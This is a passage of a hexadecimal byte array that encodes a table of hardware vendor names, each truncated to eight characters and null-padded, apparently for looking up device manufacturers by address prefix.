0x69,\r\n0x41, 0x6e, 0x75, 0x65, 0x00, 0x00, 0x00, 0x00,\r\n0x54, 0x65, 0x6c, 0x65, 0x74, 0x72, 0x61, 0x6b,\r\n0x49, 0x72, 0x69, 0x55, 0x62, 0x69, 0x74, 0x65,\r\n0x54, 0x65, 0x6c, 0x75, 0x6c, 0x61, 0x72, 0x00,\r\n0x53, 0x69, 0x63, 0x65, 0x70, 0x53, 0x50, 0x41,\r\n0x44, 0x74, 0x6c, 0x42, 0x72, 0x6f, 0x61, 0x64,\r\n0x4d, 0x69, 0x72, 0x61, 0x6c, 0x69, 0x6e, 0x6b,\r\n0x48, 0x79, 0x70, 0x65, 0x72, 0x6d, 0x65, 0x64,\r\n0x52, 0x69, 0x70, 0x63, 0x6f, 0x64, 0x65, 0x00,\r\n0x46, 0x61, 0x69, 0x76, 0x65, 0x6c, 0x65, 0x79,\r\n0x54, 0x69, 0x6e, 0x74, 0x6f, 0x6d, 0x65, 0x74,\r\n0x41, 0x52, 0x43, 0x61, 0x6d, 0x62, 0x72, 0x69,\r\n0x43, 0x78, 0x72, 0x41, 0x6e, 0x64, 0x65, 0x72,\r\n0x42, 0x65, 0x63, 0x6b, 0x6d, 0x61, 0x6e, 0x6e,\r\n0x54, 0x6d, 0x6e, 0x54, 0x65, 0x63, 0x68, 0x6e,\r\n0x4c, 0x6f, 0x72, 0x64, 0x00, 0x00, 0x00, 0x00,\r\n0x44, 0x61, 0x74, 0x61, 0x71, 0x49, 0x6e, 0x73,\r\n0x46, 0x69, 0x6e, 0x73, 0x6f, 0x66, 0x74, 0x00,\r\n0x53, 0x63, 0x61, 0x6e, 0x45, 0x6e, 0x67, 0x69,\r\n0x4d, 0x61, 0x6e, 0x44, 0x69, 0x65, 0x73, 0x65,\r\n0x44, 0x65, 0x65, 0x70, 0x73, 0x6f, 0x75, 0x6e,\r\n0x44, 0x69, 0x76, 0x69, 0x6e, 0x65, 0x74, 0x41,\r\n0x45, 0x6d, 0x7a, 0x61, 0x56, 0x69, 0x73, 0x75,\r\n0x32, 0x6d, 0x45, 0x6c, 0x65, 0x63, 0x74, 0x72,\r\n0x4a, 0x6d, 0x69, 0x63, 0x72, 0x6f, 0x6e, 0x54,\r\n0x48, 0x75, 0x6c, 0x75, 0x53, 0x77, 0x65, 0x64,\r\n0x45, 0x66, 0x6b, 0x6f, 0x6e, 0x00, 0x00, 0x00,\r\n0x4c, 0x2d, 0x41, 0x63, 0x6f, 0x75, 0x73, 0x74,\r\n0x4a, 0x63, 0x44, 0x65, 0x63, 0x61, 0x75, 0x78,\r\n0x54, 0x45, 0x4d, 0x41, 0x53, 0x50, 0x41, 0x00,\r\n0x56, 0x69, 0x64, 0x65, 0x6f, 0x53, 0x72, 0x6c,\r\n0x56, 0x69, 0x6f, 0x6c, 0x69, 0x6e, 0x54, 0x65,\r\n0x4b, 0x73, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6d,\r\n0x41, 0x70, 0x6f, 0x6c, 0x6c, 0x6f, 0x46, 0x69,\r\n0x48, 0x6f, 0x73, 0x65, 0x2d, 0x4d, 0x63, 0x63,\r\n0x53, 0x61, 0x74, 0x65, 0x6c, 0x53, 0x70, 0x5a,\r\n0x4e, 0x6f, 0x76, 0x75, 0x73, 0x53, 0x65, 0x63,\r\n0x43, 0x61, 0x6c, 0x79, 0x70, 0x74, 0x65, 0x63,\r\n0x41, 0x77, 0x6f, 0x78, 0x00, 0x00, 0x00, 0x00,\r\n0x6d, 0x69, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x49, 0x64, 0x73, 0x49, 0x6d, 0x61, 0x67, 0x69,\r\n0x46, 0x6c, 0x65, 0x78, 0x69, 0x74, 0x47, 0x72,\r\n0x53, 0x41, 0x45, 0x41, 0x66, 0x69, 0x6b, 0x69,\r\n0x4d, 0x79, 0x75, 0x6e, 0x67, 0x6d, 0x69, 0x6e,\r\n0x49, 0x6e, 0x74, 0x6f, 0x74, 0x65, 0x63, 0x68,\r\n0x4c, 0x6f, 0x72, 0x69, 0x63, 0x61, 0x53, 0x6f,\r\n0x55, 0x62, 0x69, 0x26, 0x4d, 0x6f, 0x62, 0x69,\r\n0x42, 0x72, 0x6f, 0x74, 0x68, 0x65, 0x72, 0x49,\r\n0x58, 0x65, 0x6e, 0x69, 0x63, 0x73, 0x4e, 0x76,\r\n0x54, 0x65, 0x6c, 0x63, 0x68, 0x65, 0x6d, 0x79,\r\n0x43, 0x75, 0x72, 0x74, 0x69, 0x73, 0x73, 0x57,\r\n0x49, 0x63, 0x6f, 0x6e, 0x74, 0x72, 0x6f, 0x6c,\r\n0x42, 0x68, 0x61, 0x72, 0x61, 0x74, 0x45, 0x6c,\r\n0x49, 0x6e, 0x74, 0x65, 0x6c, 0x6c, 0x65, 0x63,\r\n0x43, 0x6f, 0x6e, 0x64, 0x61, 0x6c, 0x6f, 0x00,\r\n0x41, 0x69, 0x72, 0x76, 0x6f, 0x64, 0x00, 0x00,\r\n0x43, 0x68, 0x65, 0x72, 0x72, 0x79, 0x00, 0x00,\r\n0x42, 0x69, 0x72, 0x64, 0x45, 0x6c, 0x65, 0x63,\r\n0x41, 0x6c, 0x74, 0x61, 0x48, 0x65, 0x69, 0x67,\r\n0x42, 0x6c, 0x75, 0x65, 0x77, 0x61, 0x79, 0x45,\r\n0x52, 0x66, 0x74, 0x65, 0x63, 0x68, 0x00, 0x00,\r\n0x53, 0x69, 0x6c, 0x76, 0x65, 0x72, 0x50, 0x65,\r\n0x46, 0x6d, 0x63, 0x4b, 0x6f, 0x6e, 0x67, 0x73,\r\n0x49, 0x63, 0x6f, 0x70, 0x44, 0x69, 0x67, 0x69,\r\n0x48, 0x6f, 0x6c, 0x75, 0x78, 0x54, 0x65, 0x63,\r\n0x4d, 0x6f, 0x62, 0x69, 0x73, 0x6f, 0x6c, 0x75,\r\n0x55, 0x6c, 0x74, 0x72, 0x61, 0x74, 0x65, 0x63,\r\n0x49, 0x65, 0x65, 0x65, 0x52, 0x65, 0x67, 0x69,\r\n0x53, 0x74, 0x72, 0x61, 0x74, 0x6f, 0x52, 0x65,\r\n0x53, 0x74, 0x61, 0x72, 0x76, 0x65, 0x64, 0x69,\r\n0x4d, 0x69, 0x75, 0x72, 0x61, 0x00, 0x00, 0x00,\r\n0x46, 0x73, 0x6e, 0x44, 0x69, 0x73, 0x70, 0x6c,\r\n0x42, 0x65, 0x69, 0x6a, 0x69, 0x6e, 0x67, 0x52,\r\n0x50, 0x65, 0x6d, 0x70, 0x65, 0x6b, 0x50, 0x74,\r\n0x4b, 0x69, 0x6e, 0x67, 0x74, 0x65, 0x6b, 0x43,\r\n0x44, 0x61, 0x76, 0x69, 0x73, 0x63, 0x6f, 0x6d,\r\n0x44, 0x61, 0x74, 0x61, 0x75, 0x70, 0x69, 0x61,\r\n0x49, 0x64, 0x65, 0x6e, 0x74, 0x65, 0x63, 0x53,\r\n0x53, 0x6f, 0x67, 0x65, 0x73, 0x74, 0x6d, 0x61,\r\n0x55, 0x6c, 0x74, 0x72, 0x61, 0x2d, 0x58, 0x41,\r\n0x4b, 0x65, 0x6c, 0x76, 0x69, 0x6e, 0x48, 0x75,\r\n0x46, 0x6c, 0x69, 0x72, 0x00, 0x00, 0x00, 0x00,\r\n0x45, 0x64, 0x67, 0x65, 0x77, 0x61, 0x74, 0x65,\r\n0x56, 0x61, 0x6c, 0x65, 0x6f, 0x56, 0x65, 0x63,\r\n0x56, 0x65, 0x6e, 0x63, 0x65, 0x72, 0x00, 0x00,\r\n0x52, 0x65, 0x6e, 0x6b, 0x75, 0x73, 0x2d, 0x48,\r\n0x49, 0x73, 0x6b, 0x72, 0x61, 0x53, 0x69, 0x73,\r\n0x54, 0x65, 0x6c, 0x65, 0x6e, 0x6f, 0x74, 0x45,\r\n0x56, 0x69, 0x61, 0x6c, 0x6f, 0x67, 0x79, 0x00,\r\n0x41, 0x68, 0x6e, 0x6c, 0x61, 0x62, 0x00, 0x00,\r\n0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x48, 0x65,\r\n0x54, 0x6f, 0x77, 0x6e, 0x65, 0x74, 0x53, 0x72,\r\n0x38, 0x30, 0x32, 0x61, 0x75, 0x74, 0x6f, 0x6d,\r\n0x56, 0x72, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x50, 0x6f, 0x73, 0x74, 0x65, 0x6b, 0x45, 0x6c,\r\n0x55, 0x6c, 0x74, 0x72, 0x61, 0x74, 0x72, 0x6f,\r\n0x44, 0x6d, 0x70, 0x45, 0x6c, 0x65, 0x63, 0x74,\r\n0x4e, 0x65, 0x74, 0x69, 0x6f, 0x54, 0x65, 0x63,\r\n0x42, 0x6c, 0x6f, 0x73, 0x73, 0x6f, 0x6d, 0x73,\r\n0x56, 0x61, 0x6c, 0x75, 0x65, 0x50, 0x6c, 0x61,\r\n0x4b, 0x77, 0x6f, 0x72, 0x6c, 0x64, 0x43, 0x6f,\r\n0x54, 0x72, 0x61, 0x6e, 0x73, 0x72, 0x61, 0x64,\r\n0x4b, 0x65, 0x6e, 0x77, 0x69, 0x6e, 0x49, 0x6e,\r\n0x54, 0x65, 0x6c, 0x6c, 0x69, 0x6e, 0x6b, 0x53,\r\n0x43, 0x6f, 0x6e, 0x77, 0x69, 0x73, 0x65, 0x54,\r\n0x4c, 0x75, 0x6e, 0x64, 0x49, 0x70, 0x50, 0x72,\r\n0x44, 0x69, 0x67, 0x69, 0x74, 0x72, 0x61, 0x78,\r\n0x49, 0x6e, 0x74, 0x65, 0x6c, 0x6c, 0x69, 0x74,\r\n0x47, 0x49, 0x4e, 0x4d, 0x62, 0x68, 0x00, 0x00,\r\n0x44, 0x69, 0x67, 0x6e, 0x73, 0x79, 0x73, 0x00,\r\n0x5a, 0x61, 0x76, 0x69, 0x6f, 0x00, 0x00, 0x00,\r\n0x45, 0x6e, 0x74, 0x72, 0x79, 0x50, 0x6f, 0x69,\r\n0x41, 0x62, 0x62, 0x4f, 0x79, 0x44, 0x72, 0x69,\r\n0x50, 0x61, 0x6e, 0x6f, 0x4c, 0x6f, 0x67, 0x69,\r\n0x42, 0x65, 0x74, 0x74, 0x79, 0x54, 0x76, 0x54,\r\n0x41, 0x69, 0x72, 0x67, 0x61, 0x69, 0x6e, 0x00,\r\n0x4e, 0x6f, 0x6e, 0x69, 0x6e, 0x4d, 0x65, 0x64,\r\n0x43, 0x77, 0x6c, 0x69, 0x6e, 0x75, 0x78, 0x00,\r\n0x45, 0x63, 0x68, 0x6f, 0x33, 0x36, 0x30, 0x00,\r\n0x53, 0x61, 0x65, 0x45, 0x6c, 0x65, 0x63, 0x74,\r\n0x53, 0x6d, 0x61, 0x72, 0x74, 0x61, 0x6e, 0x74,\r\n0x54, 0x61, 0x6e, 0x69, 0x74, 0x61, 0x00, 0x00,\r\n0x47, 0x2d, 0x54, 0x65, 0x63, 0x68, 0x6e, 0x6f,\r\n0x4f, 0x70, 0x74, 0x73, 0x79, 0x73, 0x54, 0x65,\r\n0x49, 0x70, 0x68, 0x6f, 0x74, 0x6f, 0x6e, 0x69,\r\n0x54, 0x68, 0x79, 0x73, 0x73, 0x65, 0x6e, 0x6b,\r\n0x53, 0x69, 0x63, 0x65, 0x72, 0x74, 0x53, 0x52,\r\n0x53, 0x65, 0x63, 0x75, 0x6e, 0x65, 0x74, 0x53,\r\n0x54, 0x68, 0x6f, 0x6d, 0x61, 0x73, 0x49, 0x6e,\r\n0x48, 0x79, 0x70, 0x65, 0x72, 0x73, 0x74, 0x6f,\r\n0x43, 0x65, 0x6e, 0x74, 0x65, 0x72, 0x43, 0x6f,\r\n0x43, 0x68, 0x65, 0x6e, 0x7a, 0x68, 0x6f, 0x75,\r\n0x45, 0x6d, 0x74, 0x72, 0x69, 0x6f, 0x6e, 0x00,\r\n0x51, 0x75, 0x65, 0x73, 0x74, 0x52, 0x65, 0x74,\r\n0x43, 0x6c, 0x62, 0x42, 0x65, 0x6e, 0x65, 0x6c,\r\n0x4e, 0x75, 0x63, 0x73, 0x61, 0x66, 0x65, 0x00,\r\n0x41, 0x65, 0x72, 0x69, 0x73, 0x45, 0x6c, 0x65,\r\n0x46, 0x6f, 0x72, 0x6d, 0x6f, 0x73, 0x61, 0x57,\r\n0x53, 0x75, 0x6e, 0x65, 0x6c, 0x6c, 0x45, 0x6c,\r\n0x53, 0x70, 0x68, 0x61, 0x69, 0x72, 0x6f, 0x6e,\r\n0x43, 0x6f, 0x72, 0x65, 0x44, 0x69, 0x67, 0x69,\r\n0x45, 0x6e, 0x76, 0x69, 0x73, 0x61, 0x63, 0x6f,\r\n0x41, 0x6c, 0x65, 0x72, 0x74, 0x6d, 0x65, 0x43,\r\n0x53, 0x79, 0x6e, 0x61, 0x70, 0x73, 0x65, 0x00,\r\n0x46, 0x6c, 0x65, 0x78, 0x72, 0x61, 0x64, 0x69,\r\n0x48, 0x70, 0x6e, 0x53, 0x75, 0x70, 0x70, 0x6c,\r\n0x50, 0x66, 0x69, 0x73, 0x74, 0x65, 0x72, 0x00,\r\n0x4d, 0x6f, 0x64, 0x65, 0x4c, 0x69, 0x67, 0x68,\r\n0x4d, 0x6f, 0x62, 0x69, 0x6c, 0x65, 0x58, 0x70,\r\n0x54, 0x65, 0x6c, 0x69, 0x61, 0x6e, 0x00, 0x00,\r\n0x53, 0x75, 0x74, 0x72, 0x6f, 0x6e, 0x00, 0x00,\r\n0x48, 0x75, 0x65, 0x79, 0x43, 0x68, 0x69, 0x61,\r\n0x49, 0x6e, 0x65, 0x77, 0x69, 0x74, 0x4e, 0x76,\r\n0x43, 0x61, 0x6c, 0x6c, 0x70, 0x6f, 0x64, 0x00,\r\n0x42, 0x69, 0x6f, 0x2d, 0x52, 0x61, 0x64, 0x4c,\r\n0x53, 0x4e, 0x65, 0x74, 0x73, 0x79, 0x73, 0x74,\r\n0x45, 0x6c, 0x65, 0x6d, 0x65, 0x6e, 0x74, 0x4c,\r\n0x41, 0x6d, 0x72, 0x6f, 0x61, 0x64, 0x54, 0x65,\r\n0x53, 0x65, 0x6f, 0x6e, 0x44, 0x65, 0x73, 0x69,\r\n0x57, 0x61, 0x76, 0x65, 0x73, 0x74, 0x6f, 0x72,\r\n0x45, 0x63, 0x6b, 0x65, 0x79, 0x00, 0x00, 0x00,\r\n0x56, 0x64, 0x67, 0x2d, 0x53, 0x65, 0x63, 0x75,\r\n0x53, 0x63, 0x65, 0x6d, 0x74, 0x65, 0x63, 0x54,\r\n0x50, 0x61, 0x72, 0x61, 0x6c, 0x6c, 0x65, 0x6c,\r\n0x43, 0x68, 0x65, 0x6e, 0x62, 0x72, 0x6f, 0x4d,\r\n0x51, 0x74, 0x75, 0x6d, 0x00, 0x00, 0x00, 0x00,\r\n0x57, 0x69, 0x64, 0x65, 0x66, 0x69, 0x00, 0x00,\r\n0x5a, 0x6f, 0x6c, 0x74, 0x61, 0x6e, 0x54, 0x65,\r\n0x47, 0x65, 0x6e, 0x65, 0x72, 0x38, 0x00, 0x00,\r\n0x50, 0x65, 0x74, 0x72, 0x6f, 0x74, 0x65, 0x73,\r\n0x41, 0x70, 0x6c, 0x69, 0x78, 0x49, 0x70, 0x48,\r\n0x54, 0x61, 0x73, 0x61, 0x49, 0x6e, 0x74, 0x65,\r\n0x4d, 0x61, 0x63, 0x61, 0x62, 0x00, 0x00, 0x00,\r\n0x54, 0x63, 0x6c, 0x54, 0x65, 0x63, 0x68, 0x6e,\r\n0x43, 0x65, 0x6c, 0x65, 0x6e, 0x6f, 0x43, 0x6f,\r\n0x56, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x65, 0x65,\r\n0x53, 0x79, 0x6e, 0x65, 0x72, 0x67, 0x79, 0x4c,\r\n0x48, 0x69, 0x6c, 0x6c, 0x73, 0x74, 0x6f, 0x6e,\r\n0x50, 0x61, 0x64, 0x6f, 0x00, 0x00, 0x00, 0x00,\r\n0x44, 0x65, 0x76, 0x6f, 0x6e, 0x49, 0x74, 0x00,\r\n0x43, 0x68, 0x75, 0x62, 0x62, 0x45, 0x6c, 0x65,\r\n0x4c, 0x65, 0x69, 0x63, 0x61, 0x4d, 0x69, 0x63,\r\n0x41, 0x73, 0x74, 0x6f, 0x6e, 0x46, 0x72, 0x61,\r\n0x57, 0x69, 0x6e, 0x6c, 0x61, 0x6e, 0x64, 0x45,\r\n0x43, 0x73, 0x70, 0x46, 0x72, 0x6f, 0x6e, 0x74,\r\n0x47, 0x61, 0x6c, 0x61, 0x78, 0x79, 0x4d, 0x69,\r\n0x4c, 0x67, 0x45, 0x6c, 0x65, 0x63, 0x74, 0x72,\r\n0x54, 0x72, 0x75, 0x65, 0x6e, 0x00, 0x00, 0x00,\r\n0x4a, 0x6f, 0x65, 0x73, 0x63, 0x61, 0x6e, 0x00,\r\n0x55, 0x63, 0x61, 0x6d, 0x70, 0x00, 0x00, 0x00,\r\n0x50, 0x75, 0x6d, 0x70, 0x6b, 0x69, 0x6e, 0x4e,\r\n0x41, 0x6e, 0x68, 0x75, 0x69, 0x53, 0x75, 0x6e,\r\n0x50, 0x61, 0x63, 0x6b, 0x65, 0x74, 0x56, 0x69,\r\n0x57, 0x65, 0x69, 0x73, 0x73, 0x45, 0x6e, 0x67,\r\n0x43, 0x6f, 0x76, 0x61, 0x78, 0x00, 0x00, 0x00,\r\n0x33, 0x30, 0x38, 0x30, 0x35, 0x00, 0x00, 0x00,\r\n0x4b, 0x79, 0x6f, 0x68, 0x72, 0x69, 0x74, 0x73,\r\n0x4e, 0x65, 0x77, 0x62, 0x75, 0x72, 0x79, 0x4e,\r\n0x45, 0x6d, 0x66, 0x69, 0x74, 0x00, 0x00, 0x00,\r\n0x4e, 0x6f, 0x76, 0x61, 0x63, 0x6f, 0x6d, 0x6d,\r\n0x45, 0x6d, 0x65, 0x72, 0x67, 0x65, 0x6e, 0x74,\r\n0x4d, 0x61, 0x79, 0x65, 0x72, 0x43, 0x69, 0x65,\r\n0x41, 0x72, 0x69, 0x73, 0x74, 0x61, 0x4e, 0x65,\r\n0x53, 0x79, 0x73, 0x77, 0x61, 0x6e, 0x54, 0x65,\r\n0x53, 0x65, 0x67, 0x6e, 0x65, 0x74, 0x00, 0x00,\r\n0x57, 0x61, 0x6e, 0x64, 0x73, 0x77, 0x6f, 0x72,\r\n0x50, 0x72, 0x6f, 0x64, 0x79, 0x73, 0x00, 0x00,\r\n0x57, 0x79, 0x70, 0x6c, 0x61, 0x79, 0x53, 0x61,\r\n0x43, 0x6f, 0x68, 0x65, 0x73, 0x69, 0x76, 0x65,\r\n0x50, 0x65, 0x72, 0x66, 0x65, 0x63, 0x74, 0x6f,\r\n0x43, 0x61, 0x73, 0x74, 0x6c, 0x65, 0x6e, 0x65,\r\n0x50, 0x65, 0x72, 0x71, 0x00, 0x00, 0x00, 0x00,\r\n0x45, 0x78, 0x63, 0x65, 0x6c, 0x70, 0x6f, 0x69,\r\n0x4e, 0x65, 0x77, 0x42, 0x75, 0x73, 0x69, 0x6e,\r\n0x4e, 0x65, 0x78, 0x74, 0x67, 0x65, 0x6e, 0x56,\r\n0x47, 0x65, 0x6e, 0x65, 0x77, 0x54, 0x65, 0x63,\r\n0x4e, 0x65, 0x77, 0x4c, 0x65, 0x76, 0x65, 0x6c,\r\n0x53, 0x74, 0x6c, 0x53, 0x6f, 0x6c, 0x75, 0x74,\r\n0x45, 0x75, 0x6e, 0x69, 0x63, 0x6f, 0x72, 0x6e,\r\n0x43, 0x72, 0x61, 0x6e, 0x69, 0x74, 0x65, 0x00,\r\n0x55, 0x72, 0x69, 0x76, 0x65, 0x72, 0x00, 0x00,\r\n0x54, 0x72, 0x61, 0x6e, 0x73, 0x79, 0x73, 0x74,\r\n0x46, 0x6f, 0x72, 0x63, 0x65, 0x43, 0x6f, 0x6d,\r\n0x43, 0x69, 0x72, 0x72, 0x61, 0x73, 0x63, 0x61,\r\n0x4d, 0x6a, 0x49, 0x6e, 0x6e, 0x6f, 0x76, 0x61,\r\n0x44, 0x69, 0x61, 0x6c, 0x54, 0x65, 0x63, 0x68,\r\n0x4d, 0x65, 0x73, 0x61, 0x49, 0x6d, 0x61, 0x67,\r\n0x45, 0x6d, 0x70, 0x61, 0x63, 0x6b, 0x65, 0x74,\r\n0x47, 0x65, 0x66, 0x65, 0x6e, 0x00, 0x00, 0x00,\r\n0x54, 0x65, 0x72, 0x76, 0x65, 0x6c, 0x61, 0x00,\r\n0x45, 0x78, 0x61, 0x64, 0x69, 0x67, 0x6d, 0x00,\r\n0x4c, 0x69, 0x2d, 0x43, 0x6f, 0x72, 0x42, 0x69,\r\n0x4f, 0x70, 0x74, 0x69, 0x63, 0x6f, 0x6d, 0x6d,\r\n0x4c, 0x69, 0x6e, 0x6b, 0x77, 0x69, 0x73, 0x65,\r\n0x45, 0x6e, 0x7a, 0x79, 0x74, 0x65, 0x6b, 0x54,\r\n0x4c, 0x75, 0x63, 0x6b, 0x79, 0x54, 0x65, 0x63,\r\n0x53, 0x68, 0x75, 0x6e, 0x72, 0x61, 0x53, 0x6f,\r\n0x46, 0x65, 0x69, 0x67, 0x45, 0x6c, 0x65, 0x63,\r\n0x4c, 0x69, 0x65, 0x63, 0x74, 0x68, 0x69, 0x00,\r\n0x44, 0x75, 0x61, 0x6c, 0x74, 0x65, 0x63, 0x68,\r\n0x52, 0x61, 0x7a, 0x6f, 0x72, 0x73, 0x74, 0x72,\r\n0x41, 0x6b, 0x61, 0x6d, 0x61, 0x69, 0x54, 0x65,\r\n0x54, 0x65, 0x72, 0x72, 0x61, 0x00, 0x00, 0x00,\r\n0x5a, 0x79, 0x67, 0x6f, 0x00, 0x00, 0x00, 0x00,\r\n0x57, 0x69, 0x6e, 0x34, 0x6e, 0x65, 0x74, 0x00,\r\n0x41, 0x69, 0x72, 0x74, 0x69, 0x65, 0x73, 0x57,\r\n0x41, 0x75, 0x64, 0x69, 0x6f, 0x6d, 0x61, 0x74,\r\n0x42, 0x65, 0x6c, 0x6c, 0x6f, 0x6e, 0x50, 0x74,\r\n0x4d, 0x65, 0x79, 0x65, 0x72, 0x53, 0x6f, 0x75,\r\n0x51, 0x6e, 0x69, 0x71, 0x54, 0x65, 0x63, 0x68,\r\n0x57, 0x75, 0x68, 0x61, 0x6e, 0x54, 0x65, 0x6c,\r\n0x57, 0x69, 0x63, 0x68, 0x6f, 0x72, 0x75, 0x73,\r\n0x50, 0x6c, 0x61, 0x74, 0x6f, 0x4e, 0x65, 0x74,\r\n0x42, 0x70, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x49, 0x72, 0x69, 0x64, 0x69, 0x75, 0x6d, 0x53,\r\n0x4e, 0x65, 0x69, 0x68, 0x75, 0x61, 0x4e, 0x65,\r\n0x44, 0x75, 0x7a, 0x6f, 0x6e, 0x43, 0x6e, 0x74,\r\n0x55, 0x73, 0x63, 0x44, 0x69, 0x67, 0x69, 0x61,\r\n0x43, 0x62, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x4b, 0x77, 0x61, 0x6e, 0x67, 0x53, 0x75, 0x6e,\r\n0x56, 0x65, 0x72, 0x73, 0x63, 0x69, 0x65, 0x6e,\r\n0x4d, 0x75, 0x73, 0x69, 0x63, 0x69, 0x61, 0x6e,\r\n0x43, 0x61, 0x73, 0x74, 0x67, 0x72, 0x61, 0x62,\r\n0x45, 0x7a, 0x7a, 0x65, 0x4d, 0x6f, 0x62, 0x69,\r\n0x50, 0x61, 0x72, 0x74, 0x49, 0x69, 0x52, 0x65,\r\n0x50, 0x72, 0x6f, 0x73, 0x74, 0x6f, 0x72, 0x00,\r\n0x52, 0x65, 0x6d, 0x62, 0x72, 0x61, 0x6e, 0x64,\r\n0x49, 0x6e, 0x64, 0x75, 0x73, 0x74, 0x72, 0x6f,\r\n0x4b, 0x61, 0x69, 0x73, 0x65, 0x45, 0x6c, 0x65,\r\n0x46, 0x6f, 0x72, 0x74, 0x68, 0x50, 0x75, 0x62,\r\n0x41, 0x6c, 0x65, 0x6b, 0x74, 0x72, 0x6f, 0x6e,\r\n0x42, 0x79, 0x54, 0x65, 0x63, 0x68, 0x64, 0x65,\r\n0x4c, 0x69, 0x6d, 0x65, 0x74, 0x65, 0x6b, 0x00,\r\n0x43, 0x69, 0x72, 0x63, 0x6c, 0x65, 0x6f, 0x6e,\r\n0x57, 0x61, 0x76, 0x65, 0x73, 0x41, 0x75, 0x64,\r\n0x4b, 0x69, 0x6e, 0x67, 0x43, 0x68, 0x61, 0x6d,\r\n0x5a, 0x70, 0x45, 0x6e, 0x67, 0x69, 0x6e, 0x65,\r\n0x5a, 0x65, 0x65, 0x76, 0x65, 0x65, 0x00, 0x00,\r\n0x48, 0x61, 0x72, 0x6d, 0x61, 0x6e, 0x2f, 0x42,\r\n0x42, 0x6c, 0x75, 0x65, 0x61, 0x6e, 0x74, 0x57,\r\n0x45, 0x78, 0x65, 0x67, 0x69, 0x6e, 0x54, 0x65,\r\n0x43, 0x61, 0x72, 0x70, 0x6f, 0x69, 0x6e, 0x74,\r\n0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x6f,\r\n0x43, 0x6f, 0x77, 0x62, 0x65, 0x6c, 0x6c, 0x45,\r\n0x44, 0x61, 0x73, 0x61, 0x6e, 0x54, 0x70, 0x73,\r\n0x49, 0x6e, 0x64, 0x72, 0x61, 0x53, 0x69, 0x73,\r\n0x41, 0x74, 0x74, 0x65, 0x72, 0x6f, 0x54, 0x65,\r\n0x4f, 0x70, 0x74, 0x69, 0x6d, 0x65, 0x64, 0x69,\r\n0x45, 0x6c, 0x65, 0x73, 0x79, 0x4a, 0x73, 0x63,\r\n0x4d, 0x62, 0x73, 0x45, 0x6c, 0x65, 0x63, 0x74,\r\n0x49, 0x6e, 0x6e, 0x65, 0x73, 0x00, 0x00, 0x00,\r\n0x52, 0x6f, 0x63, 0x6f, 0x6e, 0x52, 0x65, 0x73,\r\n0x43, 0x75, 0x6d, 0x6d, 0x69, 0x6e, 0x73, 0x00,\r\n0x4d, 0x6f, 0x62, 0x69, 0x6c, 0x65, 0x73, 0x6f,\r\n0x45, 0x6e, 0x76, 0x69, 0x72, 0x6f, 0x6e, 0x6e,\r\n0x53, 0x75, 0x70, 0x6f, 0x78, 0x54, 0x65, 0x63,\r\n0x54, 0x65, 0x6e, 0x6c, 0x6f, 0x6e, 0x54, 0x65,\r\n0x45, 0x76, 0x73, 0x42, 0x72, 0x6f, 0x61, 0x64,\r\n0x4d, 0x65, 0x64, 0x69, 0x61, 0x54, 0x65, 0x63,\r\n0x57, 0x69, 0x73, 0x65, 0x62, 0x6c, 0x75, 0x65,\r\n0x41, 0x75, 0x64, 0x69, 0x6f, 0x73, 0x63, 0x69,\r\n0x50, 0x61, 0x72, 0x61, 0x64, 0x65, 0x54, 0x65,\r\n0x41, 0x6c, 0x61, 0x72, 0x6d, 0x43, 0x6f, 0x6d,\r\n0x51, 0x75, 0x61, 0x72, 0x74, 0x69, 0x63, 0x73,\r\n0x4e, 0x61, 0x70, 0x65, 0x72, 0x61, 0x4e, 0x65,\r\n0x42, 0x72, 0x69, 0x76, 0x6f, 0x4c, 0x6c, 0x63,\r\n0x4e, 0x65, 0x70, 0x74, 0x75, 0x6e, 0x65, 0x44,\r\n0x43, 0x79, 0x62, 0x65, 0x72, 0x74, 0x65, 0x63,\r\n0x44, 0x65, 0x73, 0x69, 0x67, 0x6e, 0x53, 0x6f,\r\n0x5a, 0x69, 0x70, 0x69, 0x74, 0x57, 0x69, 0x72,\r\n0x48, 0x6d, 0x45, 0x6c, 0x65, 0x63, 0x74, 0x72,\r\n0x44, 0x61, 0x76, 0x69, 0x73, 0x49, 0x6e, 0x73,\r\n0x50, 0x6f, 0x77, 0x65, 0x72, 0x53, 0x74, 0x61,\r\n0x4d, 0x6f, 0x62, 0x69, 0x6c, 0x65, 0x63, 0x6f,\r\n0x41, 0x67, 0x61, 0x70, 0x68, 0x61, 0x54, 0x65,\r\n0x4c, 0x69, 0x67, 0x68, 0x74, 0x68, 0x61, 0x75,\r\n0x41, 0x6e, 0x61, 0x6c, 0x6f, 0x67, 0x75, 0x65,\r\n0x52, 0x6f, 0x68, 0x6d, 0x00, 0x00, 0x00, 0x00,\r\n0x4e, 0x65, 0x78, 0x74, 0x67, 0x74, 0x76, 0x00,\r\n0x53, 0x70, 0x65, 0x72, 0x61, 0x64, 0x74, 0x6f,\r\n0x44, 0x69, 0x67, 0x69, 0x74, 0x61, 0x6c, 0x53,\r\n0x50, 0x6f, 0x77, 0x65, 0x72, 0x49, 0x6e, 0x6e,\r\n0x4f, 0x76, 0x69, 0x73, 0x6c, 0x69, 0x6e, 0x6b,\r\n0x53, 0x61, 0x6e, 0x67, 0x65, 0x61, 0x6e, 0x45,\r\n0x47, 0x65, 0x6e, 0x6e, 0x65, 0x74, 0x53, 0x41,\r\n0x49, 0x6e, 0x74, 0x65, 0x72, 0x2d, 0x4d, 0x00,\r\n0x4b, 0x79, 0x75, 0x73, 0x68, 0x75, 0x54, 0x65,\r\n0x53, 0x69, 0x61, 0x75, 0x6c, 0x69, 0x75, 0x54,\r\n0x43, 0x6f, 0x6d, 0x74, 0x72, 0x65, 0x6e, 0x64,\r\n0x41, 0x6c, 0x63, 0x61, 0x64, 0x53, 0x6c, 0x00,\r\n0x46, 0x6f, 0x73, 0x73, 0x41, 0x6e, 0x61, 0x6c,\r\n0x53, 0x65, 0x6e, 0x73, 0x75, 0x73, 0x00, 0x00,\r\n0x41, 0x63, 0x6c, 0x61, 0x72, 0x61, 0x50, 0x6f,\r\n0x52, 0x6f, 0x63, 0x6b, 0x72, 0x69, 0x64, 0x67,\r\n0x4e, 0x61, 0x63, 